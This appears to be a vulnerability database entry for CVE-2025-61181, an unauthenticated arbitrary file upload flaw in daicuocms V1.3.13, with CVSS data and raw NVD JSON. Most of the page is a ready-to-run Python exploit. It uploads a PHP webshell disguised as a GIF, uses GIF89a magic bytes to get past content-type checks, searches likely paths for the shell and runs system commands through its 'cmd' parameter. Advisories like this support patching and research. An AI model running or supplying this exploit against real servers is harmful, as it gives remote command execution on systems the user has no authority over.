Security Vulnerability Report
中文
CVE-2025-61181 CVSS 6.5 MEDIUM

CVE-2025-61181

Published: 2025-10-21 16:15:39
Last Modified: 2025-10-23 12:35:15

Description

daicuocms V1.3.13 contains an arbitrary file upload vulnerability in the image upload feature.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:daicuo:daicuo:1.3.13:*:*:*:*:*:*:* - VULNERABLE
daicuocms V1.3.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61181 PoC - daicuocms V1.3.13 Arbitrary File Upload # Exploit: Upload a PHP webshell disguised as an image file import requests TARGET_URL = "http://target.com" UPLOAD_PATH = "/index.php?m=upload&a=upload" # Adjust based on actual upload endpoint SHELL_PATH = "/uploads/" # PHP webshell payload embedded in a GIF file (GIF89a header + PHP code) # Using GIF89a magic bytes to bypass content-type checks SHELL_CONTENT = ( "GIF89a;\n" "<?php\n" "if(isset($_REQUEST['cmd'])){\n" " echo '<pre>';\n" " system($_REQUEST['cmd']);\n" " echo '</pre>';\n" "}\n" "?>" ) def exploit(target_url, upload_endpoint): """ Upload a PHP webshell disguised as a GIF image to daicuocms V1.3.13. The server only checks the Content-Type header, not the actual file content. """ # Prepare the malicious file files = { 'file': ('shell.php', SHELL_CONTENT, 'image/gif') } # Send upload request without authentication response = requests.post( target_url + upload_endpoint, files=files, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } ) print(f"[+] Upload Response Status: {response.status_code}") print(f"[+] Upload Response Body: {response.text}") # Try to access the uploaded shell # The shell may be saved with .php extension or original name shell_urls = [ target_url + SHELL_PATH + "shell.php", target_url + SHELL_PATH + "shell.php.gif", target_url + "/uploads/shell.php", ] for shell_url in shell_urls: check = requests.get(shell_url + "?cmd=id") if check.status_code == 200 and ("uid=" in check.text or "www-data" in check.text): print(f"[+] Shell accessible at: {shell_url}") print(f"[+] Command output: {check.text}") return shell_url print("[-] Shell not accessible, check upload path manually") return None if __name__ == "__main__": print("[*] CVE-2025-61181 - daicuocms V1.3.13 Arbitrary File Upload PoC") print(f"[*] Target: {TARGET_URL}") exploit(TARGET_URL, UPLOAD_PATH)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61181", "sourceIdentifier": "[email protected]", "published": "2025-10-21T16:15:38.547", "lastModified": "2025-10-23T12:35:14.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "daicuocms V1.3.13 contains an arbitrary file upload vulnerability in the image upload feature."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:daicuo:daicuo:1.3.13:*:*:*:*:*:*:*", "matchCriteriaId": "955C183A-BCCB-426E-9E29-429EA6B48DD6"}]}]}], "references": [{"url": "https://github.com/jayfoxaa/yuhang-Zhou/blob/main/upload/readme.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}